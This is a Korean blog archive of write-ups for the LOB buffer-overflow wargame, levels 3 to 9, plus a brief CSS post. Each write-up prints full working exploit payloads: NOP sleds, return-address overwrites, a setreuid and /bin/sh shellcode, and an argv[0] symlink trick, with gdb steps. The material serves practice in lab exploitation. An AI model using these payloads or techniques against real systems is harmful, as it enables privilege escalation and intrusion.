LOB_9.troll->vampire

해킹/LOB 2016. 1. 22. 20:32


거추장스러웠던 조건들이 많이 사라지고 \xff를 체크하는 새로운 조건이 생겼다.

점프하는 주소가 \xbfff~~~~이면 안된다는 뜻이다.


32비트의 메모리 지도상에서 0xc0000000 ~ 0xffffffff까지 는 커널의 영역이고 그 아래 0xbfffffff부터 아래로 스텍이 자라나므로 어지간히 스텍을 많이 사용하지 않으면 스텍의 주소는 0xbfff~~~~일 수밖에 없다. 그러므로 스텍을 어지간히 많이 사용하도록 만들어주면 된다.



우선 0xbfff~~~~ 부분을 사용하던 프로그램이 최소 0xbffe~~~~까지는 내려와야 하는데 그러려면 최소 0x00010000=65536바이트정도 스텍을 사용하도록 해야한다. argv[2]에 아무 문자열이나 집어넣고 스텍을 살펴보자.





워낙 많이넣어서 0xbffe~~~~근처 아무데나 잡아도 다 b(\x62)가 나온다.

\x62들 대신 \x90을 넣어주고 뒤에 쉘코드를 붙인 뒤 대략 저기보이는 0xbffeff40쯤에 리턴주소를 떨궈주면 성공할 것 같다.


`python -c 'print "a"*44+"\x40\xff\xfe\xbf"+" "+"\x90"*65536+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`




메모리 구조만 알면 간단한 문제였다.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_11.skeleton->golem  (0) 2016.01.27
LOB_10.vampire->skeleton  (0) 2016.01.22
LOB_8.orge->troll  (0) 2016.01.22
LOB_7.darkelf->orge  (0) 2016.01.21
LOB_6.wolfman->darkelf  (0) 2016.01.21
Tags
Social

LOB_8.orge->troll

해킹/LOB 2016. 1. 22. 19:53

새로 추가된 부분을 보아하니 argv[1] 이외의 다른 argv를 사용할 수 없게끔 만들어놨다.

그리고 argv[1]역시 마지막에 memset해서 argv[1]의 주소역시 사용할수 없을 듯 하다.

또 어디에 입력값이 남아있을까 고민해보니 argv[0]을 사용할 수 있을것 같았다.


argv[0]은 보통 프로그램의 경로+이름이 들어있는 부분이다.

우리가 실행할 프로그램의 argv[0]는 /home/orge/troll로 고정적이지만 심볼릭 링크를 걸어서 원하는 이름과 경로로 troll 프로그램을 실행시킬 수 있다.

쉘코드를 이름으로 가지는 심볼릭 링크를 troll 프로그램에 걸어주자.




ln -s 명령어로 심볼릭 링크를 걸어주려 하니 No such file or directory라며 실행이 안된다.

/home/orge/troll만 입력했을때 실행이 되는걸 보니 원본은 아니고 심볼릭 링크의 이름에 문제가 있는 것이다.

원인은 바로 쉘코드에 들어있는 '/' 때문이다. \x2f가 ascii 코드상 '/'에 해당하는데 이 문자를 만나면 이전까지를 폴더로 인식하게 되고 해당 폴더를 찾다가 없으니 에러를 뱉는 것이다.

예컨데 ln -s oxqo1 oxqo2/oxqo3 이런식으로 입력할 경우 "oxqo2/oxqo3"이라는 심볼릭 링크를 만드는 것이 아니라 oxqo2라는 폴더에  oxqo3이라는 심볼릭 링크를 만들려고 하기 때문에 에러가 난다.

이부분을 해결하려면 \x2f가 없는 쉘코드를 새로 짜서 사용하면 된다. 

하지만 더 간단한 방법도 있다.


\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


빨간색으로 표시된 \x2f를 기준으로 그 앞부분에 파란색을 이름으로 하는 폴더를 만들고 그 안에 뒷쪽 파란색을 이름으로 하는 폴더를 또 만든 다음 그 안에 마지막으로 검은색을 이름으로 하는 심볼릭 링크를 만들어주면 된다.

\x2f가 겹쳐있지만 실행할때 '/'를 여러개 겹쳐도 경로를 잘 찾으니 상관없다.

난 이방법이 쉘코드를 새로 만드는 것보다 편하다고 생각한다.

물론 이미 \x2f가 없는 쉘코드를 가지고 있다면 그 쉘코드를 쓰는게 훨씬 편하다.

명령어는


mkdir `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68"'`


mkdir `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"'`

ln -s /home/orge/troll `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


이런식으로 \x2f를 기준으로 쉘코드를 잘라서 디렉토리와 심볼릭 링크를 만들어주면 된다.
우선은 동적 디버깅을 위해 심볼릭 링크 /home/orge/troll이 아닌 orge의 권한으로 복사한 /home/orge/tmp/troll에 걸어줬다.



이렇게 링크를 걸어준 후 gdb로 argv[0]의 위치를 찾아보자.






블럭지정한 부분이 argv[1][47]과 0xbf를 비교하는 부분이니 저기서 edx에 들어있는 주소 근처에 argv[0]이 있을 것이다.

bp를 걸고 확인해보자.





블록지정한 0xbffffc2a 부터 쉘코드가 시작되는것이 보인다.





먼저 복사본을 가르키고 있던 심볼릭 링크를 지우고 원본을 가르키게 다시 만든 다음 최종적인 페이로드는


`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+" "+"a"*44+"\x2a\xfc\xff\xbf"'`


이런식으로 심볼릭 링크를 파이썬으로 실행시키고 리턴주소가 아까 그 0xbffffc2a를 가르키도록 덮어줬다.





성공~!

끝-






'해킹 > LOB' 카테고리의 다른 글

LOB_10.vampire->skeleton  (0) 2016.01.22
LOB_9.troll->vampire  (0) 2016.01.22
LOB_7.darkelf->orge  (0) 2016.01.21
LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
Tags
Social

LOB_7.darkelf->orge

해킹/LOB 2016. 1. 21. 19:55


음 추가되었다는 부분(//here is changed!)을 보아하니 argv[0]의 길이가 77이 아니면 프로그램을 종료시키는 기능이 추가되었다.

음... 사실 이게 공격에 대한 방어로서 무슨 의미가 있을까 싶긴 하지만..


우선은 다음단계로 가기위해 필요하니 넘어가자. argv[0]에 들어가는 내용은 프로그램을 실행하는 이름이다.

그러면 ./orge라는 프로그램의 이름을 77바이트로 늘려야하는데 얼마전 쉘코드를 작성하면서 알게된거지만 ./////orge 이런식으로 '/'를 아무리 늘려도 프로그램은 정상적으로 실행된다. (방금 기억났는데 예전에 이문제를 처음 풀때는 ../../../../.............../home/darkelf/orge이런식으로 바이트수를 맞춰줬던것 같다... 집념의 사나이..)


일단 ./orge가 6바이트이므로 '.' + '/' 72개 + "orge" 하면 총 77바이트가 될것이다.

숫자를 셀 필요 없이 파이썬을 이용하면 좀더 쉽게 뽑아낼 수 있다.



 


이런식으로 프로그램 이름을 뽑아냈다. 이제 argv[1]로 들어갈 페이로드를 작성해야 한다.

tmp 폴더를 만들어서 orge 프로그램을 복사해넣고 gdb로 열어야 하는데... 이걸로 동적분석을 하려고 하면 분명히 argv[0] 체크 부분에서 걸릴것이다.

gdb .///////................///////////orge 이런식으로 열면 bash에서와 마찬가지로 argv[0]의 길이를 맞춰줄수 있다.

gdb에서는 절대경로로 프로그램을 열기 때문에 /home/darkelf/tmp/ 이렇게 18바이트를 빼고 59바이트를 맞춰주면 된다.

물론 그냥 gdb org로 연 다음에 길이비교를 하는 부분에서 gdb의 set 명령어로 strlen의 결과가 들어있는 레지스터를 77로 조작해줘도 동적분석을 할수 있으나 그렇게 하면 실제 argv[1]과 gdb로 볼때의 argv[1]의 주소 차이가 너무 벌어질 것이다.

아무튼 gdb '.'+'/'*54+"orge" 해준후 argv[1]의 주소가 어디쯤인지 알아보자.


gdb .//////////////////////////////////////////////////////orge





위 캡쳐처럼 실행시키고 아래 캡쳐 부분에서 main+275부분에 strcpy가 실행되기 전에 bp를 걸어놨다.

ebp-40부분이 buffer인것이 보인다. argv[1]에서 45~48번째 문자 4바이트가 리턴주소로 들어갈것이다.

지난번과 마찬가지로 r `python -c 'print "a"*47+"\xbf"'`를 해서 조건을 최대한 우회하면서 strcpy까지 프로그램을 진행시켰다.

strcpy가 실행되기 전 edx에 들어있는 값이 argv[1]의 주소일 것이다.




0xbffffbd5부분이 argv[1]의 시작주소인 것을 확인했다.

이제 a대신 쉘코드를 넣고 리턴주소를 0xbffffbd5로 덮어주자.



역시 주소 오차때문에 세그멘테이션 폴트가 뜨며 꺼져버렸다. 코어가 생성되었으므로 코어를 분석해보자.



0xbffffbd5부분에 0x00밖에 없고 segmentation fault는 0xbfffffad에서 떴다. 이말은 해당 주소까지 다 0x00으로 채워져있다는 뜻이다.

그러므로 오차가 어느정도 생겼는지 알아보기 위해서 더 낮은주소를 봐야한다.




어느정도 빼면서 메모리를 살펴보니 다행히 금방 쉘코드의 위치를 찾았다. 하얗게 블록지정한 곳이세 0x90이 시작되는것을 볼수 있다.

0xbffffb85지점이다.

이제 리턴주소를 해당지점으로 수정해서 페이로드를 작성하자.


.////////////////////////////////////////////////////////////////////////orge `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x85\xfb\xff\xbf"'`




결과는 성공이다.

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_9.troll->vampire  (0) 2016.01.22
LOB_8.orge->troll  (0) 2016.01.22
LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
Tags
Social

LOB_6.wolfman->darkelf

해킹/LOB 2016. 1. 21. 18:32


지난번 orc->wolfman에서 argv[1]의 길이를 체크하는 부분이 더 생겼다.

이제 리턴의 뒷부분을 사용하는 방법으로는 문제를 해결할 수 없다.

또 어디에 입력값이 들어가있을까 생각하다가 argv를 사용하기로 했다.

먼저 tmp에 darkelf파일을 복사한 뒤 gdb로 열었다.




먼저 argv부분의 주소를 알기 위해 gdb로 실행시켜봤다.

strcpy를 호출하기 전 push edx, push eax로 인자를 전달하는데 순서상 먼저 스텍에 push 해주는 edx가 strcpy(buffer, argv[1])에서 뒤에 쓰여있는 argv[1]을 가르킬 것이다.





strcpy를 호출하기 직전까지 프로그램을 실행시키기 위해 main+237에 bp를 걸어줬다.

그다음 실행을 시켜줘야하는데 여러 체크루틴에 걸리지 않게 argv도 넣어주고 리턴 마지막 바이트에 \xbf도 넣어줘서 

r `python -c 'print "a"*47+"\xbf"'` 이런식으로 실행해줘야 한다.

어쨋든 실행을 시켜서 edx를 확인해보니 0xbffffc09이다.





해당부분을 열어서 실제로 a로 가득찬 부분이 있는것을 확인했다.

이제 저 a대신 쉘코드를 넣어주고 리턴주소를 0xbffffc09로 넣어줘서 해당주소로 점프시키면 될것이다.



argv[1]로 41바이트짜리 쉘코드와 주소 4바이트를 더하면 45바이트다. buffer가 ebp-40에 위치하므로 총길이 리턴주소까지 48바이트를 덮어쓰게 되는데 그러면 3바이트정도 여유가 있다.

따라서 앞의 3바이트를 nop으로 채워넣고 쉘코드+리턴주소로 페이로드를 작성했다.



./darkelf `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x09\xfc\xff\xbf"'`




segmentation fault가 뜨며 실패했다.

이렇게 되는 이유는 실제 공격당하는 프로그램인 darkelf의 argv[1]과는 주소에 약간의 차이가 있기 때문이다.

gdb에서 실행하느냐 bash에서 실행하느냐에 따라서 조금씩 다르다.

프로그램 이름이나 경로에 따라서도 주소가 조금씩 차이가 났던것 같은데 정확히는 모르겠다.

우선 tmp에 복사해놓은 파일로 테스트해서 core dump가 생성되었으니 그걸로 분석을 해봤다.





gdb darkelf core 이런식으로 두번째 argv로 core파일명을 적어주면 프로그램이 종료된 시점에서의 메모리를 확인할 수 있다.

아까 리턴으로 점프시킨 0xbffffc09부분을 살펴봤더니 주소상의 차이때문에 4바이트 뒤로 밀린 0xbffffc0d부분부터 0x90이 시작되는 것을 확인했다.

이 주소로 리턴주소를 변경해서 페이로드를 다시 짰다.



./darkelf `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x0d\xfc\xff\xbf"'`






위 페이로드로 실행시킨 결과 tmp가 아닌 darkelf 원본에서도 똑같이 공격이 성공했다. (주소 차이가 경로랑은 상관이 없는듯..?)

끝-




ps. darkelf파일의 이름을 darkel로 한바이트 줄여봤더니 쉘코드의 주소가 2바이트 밀리는 것을 확인했다. 파일명과는 확실히 상관이 있는듯.

'해킹 > LOB' 카테고리의 다른 글

LOB_8.orge->troll  (0) 2016.01.22
LOB_7.darkelf->orge  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
LOB_3.cobolt->goblin  (0) 2016.01.21
Tags
Social

긴 문장이 화면밖으로 나가버리는 문제를 해결했다.

프로젝트/블로그 2016. 1. 21. 16:24

여태까지 모르고 있었는데 페이로드같이 긴 문장을 쓸때 띄어쓰기가 없으면 캡쳐처럼 화면 밖으로 나가버리는 현상이 생긴다.


css에서 word-break:normal 속성을 사용하기 때문인데

normal은 한단어는 끊지 않기 때문에 문장이 더 자연스러워지긴 하지만 나처럼 띄어쓰지 않고 길게 써야할 부분이 많은 경우에는 이런 현상이 생길 수 있다.


tistory 관리자메뉴에서 html/css수정에 들어가서 css란에

.article{word-break:break-all} 를 추가해줬다. break-all속성은 한단어라도 범위를 넘어가면 끊어서 아래로 내려준다.




이제 위와같이 페이로드를 잘라서 출력해준다.

Tags
Social

LOB_5.orc->wolfman

해킹/LOB 2016. 1. 21. 16:12

goblin->orc와 변한게 거의 없다. buffer hunter라고 해서 버퍼의 안쪽만 memset해버리는데 이미 전에 orc를 풀때 buffer의 뒷쪽 부분을 사용해서 풀었었다.

혹시나 하고 같은 페이로드를 입력하니 바로 풀렸다.





끝-


ps.자세한 설명은 http://satanel001.tistory.com/84에..

'해킹 > LOB' 카테고리의 다른 글

LOB_7.darkelf->orge  (0) 2016.01.21
LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
LOB_3.cobolt->goblin  (0) 2016.01.21
LOB_2.gremlin->cobolt  (0) 2016.01.16
Tags
Social

LOB_4.goblin->orc

해킹/LOB 2016. 1. 21. 15:41


드디어 egghunter가 적용됐다.

환경변수를 0으로 memset해버려서 더이상 환경변수에 쉘코드를 넣는 방식은 불가능하다.

하지만 LOB 서버의 경우 ASLR도 걸려있지 않고 아직 뒷쪽 버퍼를 사용하는 방식도 유효해서 크게 어려울것 같지는 않다.


이번에는 스텍의; 뒷쪽(리턴보다 높은주소)을 사용하는 방식으로 해보자.




디스어셈블 코드의 일부분이다.

코드가 많이 길어졌지만 여전히 call 위주로 보는 분석방법은 유효하다.

strcpy로 ebp-40의 주소가 들어가는것을 보니 buffer변수의 주소가 ebp-40임이 분명하다.

이제 리턴할 주소를 알아내야 하는데 안타깝게도 orc의 suid가 걸린 프로그램이라 gdb로 분석이 불가능하다.




tmp라는 폴더를 만들어준뒤 해당 폴더에 orc를 복사해줘서 goblin 권한으로 해당 프로그램을 가져왔다.

이제 gdb에서 동적분석이 가능해졌다.

먼저 스텍구조를 분석하기 위해 strcpy가 끝나고 돌아오는 지점인 main+194에 bp를 걸어줬다.




r `python -c 'print "a"*40+"bbbb"+"ccc\xbf"+"\x90"*1000'` 라는 입력으로 프로그램을 실행시켰다.

40개의 a가 buffer부분

bbbb는 SFP부분

ccc\xbf가 리턴부분인데 stack is still your firend가 나오며 꺼지는 것을 방지하기 위해 \xbf를 넣어줬다.

뒤에 \x90부분이 공격에 사용할 쉘코드를 넣을 부분이다.


같은 페이로드에 쉘코드를 붙여 리턴주소를 0xbffff730쯤으로 줘봤다.


./orc `python -c 'print "a"*40+"bbbb"+"\x30\xf7\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'





쉘은 떴는데 goblin 권한의 쉘이 떴다. 코드에 setreuid를 실행하는 부분이 없기 때문이다.

setreuiid를 포함하는 41바이트 쉘코드를 사용하면 해결할 수 있다.



./orc `python -c 'print "a"*40+"bbbb"+"\x30\xf7\xff\xbf"+"\x90"*1000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`




성공!

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_3.cobolt->goblin  (0) 2016.01.21
LOB_2.gremlin->cobolt  (0) 2016.01.16
LOB_1.gate->gremlin  (0) 2016.01.16
Tags
Social

LOB_3.cobolt->goblin

해킹/LOB 2016. 1. 21. 14:43


이전 단계인 cobolt와 거의 똑같은 문제다.

이제야 눈치챘는데 하나씩 조건들을 추가하면서 위쪽 주석에 추가된 조건들을 표시해준다.

이번 문제는 stdin으로 페이로드를 집어넣을 수 있느냐를 묻는 문제인듯.


stdin으로  0x90 이런 형태의 16진수를 넣고 싶은데 키보드로는 입력할 수 없기 때문에 '|'(파이프)를 사용해야 한다.

파이프는 자신을 기준으로 왼쪽 프로그램의 stdout을 오른쪽 프로그램의 stdin으로 보내준다.


'|'(파이프)를 사용한 페이로드 작성 - http://satanel001.tistory.com/82


위 글에 파이프에 대해서 자세하게 설명해놓았다.




이 문제를 풀기 위해서 먼저 ebp를 기준으로 buffer 변수가 어디쯤 위치하는지 gdb를 켜서 확인해본다.




함수에 인자전달하는 부분을 보면 ebp-16부분이 buffer 변수의 시작점이라는 것을 알 수 있다.

그러면 리턴주소는 ebp+4지점에 있으므로 총 20바이트의 더미를 넣고 리턴주소를 덮어주면 되겠다.

먼저 환경변수에 쉘코드를 넣고 그 주소를 확인해보자.



쉘코드의 시작주소는 0xbfffd69e부분이다. nop 10000개에서 중간지점쯤에 떨구기 위해 5000정도를 더해주면 0xbfffea26을 리턴주소로 덮어주면 되겠다.

/tmp/getenv는 기본 프로그램이 아니라 환경변수 주소를 구하려고 직접 만든 프로그램이다. 착오가 없길...





계획대로 20개의 더미+쉘코드 주소를 파이프로 전달해서 쉘을 띄우는데 성공했다.

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
LOB_2.gremlin->cobolt  (0) 2016.01.16
LOB_1.gate->gremlin  (0) 2016.01.16
Tags
Social